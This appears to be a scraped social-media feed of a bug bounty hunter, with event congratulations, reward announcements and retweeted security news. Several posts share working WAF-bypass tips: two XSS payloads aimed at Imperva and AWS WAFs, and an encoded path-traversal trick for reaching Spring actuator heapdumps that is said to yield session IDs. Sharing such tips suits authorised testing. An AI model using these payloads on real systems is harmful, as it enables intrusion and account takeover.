Gilson Oliveira

Head of Offensive Security |
Bug Bounty Hunter

[Gilson Oliveira @gilsgil_]

That's awesome! :)
Keep the good work! 🚀

[Gilson Oliveira @gilsgil_]

@dracutdashf @Hacker0x01 @BugBountyArg Congratulations @dracutdashf !

[Gilson Oliveira @gilsgil_]

Tmj meu amigo @panikbr_ !

Lets gooo!

[panikbr @panikbr_]

Muito feliz de terminar o evento do Meli em 2/3º lugar, com 19 bounties e uma disputa insana até o final.

Dessa vez tive também a oportunidade de fazer uma collab com o @gilsgil_ foi muito bom trabalhar junto e compartilhar ideias durante o evento.

@Hacker0x01

[Lucas @Lucas_]

@panikbr_ @gilsgil_ @Hacker0x01 monstros

[panikbr @panikbr_]

Mais um evento top1, agora no Meli Hacking Event Brasil

Boraaaa 🚀🚀🚀

------------

Another Top 1 event! Now at the Meli Hacking Event Brazil.

Let’s gooo 🚀🚀🚀

#BugBounty #MercadoLibre #hackerone #h1 #hackers

@gilsgil_

[Gilson Oliveira @gilsgil_]

Thrilled to have participated in the GovTech GBBP11 by the Government of Singapore and @yeswehack

A huge thanks to @yeswehack for providing such a fantastic platform for bug bounty hunters!

#BugBounty #YesWeHack #GovTech #Cybersecurity #GBBP11

[Gilson Oliveira @gilsgil_]

@_zwink My bug that you commented on today used the same type of technique. I had to unravel a few more things, but finally got it! Your videos and posts have been incredibly helpful and inspiring. Thanks!

[Gilson Oliveira @gilsgil_]

Like @zseano says...
Javascripts files are your friends!

#BugBounty #bugbountytip #bugbountytips

[Gilson Oliveira @gilsgil_]

I've bypassed Imperva WAF using the following payload:

%22){};%20var%20a%20=%20String.fromCharCode(97,%20108,%20101,%20114,%20116);%20window[a](%22XSS%20by%20gilsgil64%22);%20if%20(1==1)//

Remember, always pay attention in the context!

#bugbountytips #bugbountytip #bugbounty

[Gilson Oliveira @gilsgil_]

Just got a reward for a vulnerability submitted on @yeswehack -- Improper Access Control - Generic (CWE-284). #YesWeRHackers

[Gilson Oliveira @gilsgil_]

heapdump*

[Gilson Oliveira @gilsgil_]

If you find a Spring actuator returning 403, try some encoding bypasses like this one:

target[.]com/actuator;..%2f..%2f/headump

I've found a heapdump which lead me to a critical account take over, after reading it's content and finding sessions IDs.

#bugbounty

[Gilson Oliveira @gilsgil_]

Just got a reward for a vulnerability submitted on @yeswehack -- Path Traversal (CWE-22).
#YesWeRHackers

[Gilson Oliveira @gilsgil_]

@InsiderPhD Very well said!
Do it because you like it, not for the money. Eventually you will achieve success, without aiming for it.

[Gilson Oliveira @gilsgil_]

Just got a reward for a high vulnerability submitted on @yeswehack -- Improper Access Control - Generic (CWE-284). #YesWeRHackers

[Gilson Oliveira @gilsgil_]

@MAstronomers 7757

[Gilson Oliveira @gilsgil_]

I was able to bypass AWS WAF with this simple XSS payload:

somevalue" auto<>focus on<>focus=ale<>rt(document.domain)/

#bugbountytips #bugbountytip

[Wang Wei @security_wang]

Popular #WordPress Plugin Used by 300,000+ Websites Found Vulnerable to SQL Injection Attack -- Update Now https://t.co/MR79MpN5zd

[The Hacker News @TheHackersNews]

Breaking: Wikileaks Reveals 'OutlawCountry' — The CIA #Malware that Hacks & Spy On #Linux Computers https://t.co/VNpsfwUpcg

[BleepingComputer @BleepinComputer]

Surprise! NotPetya Is a Cyber-Weapon. It's Not Ransomware - by @campuscodi
https://t.co/wy4txWWkbs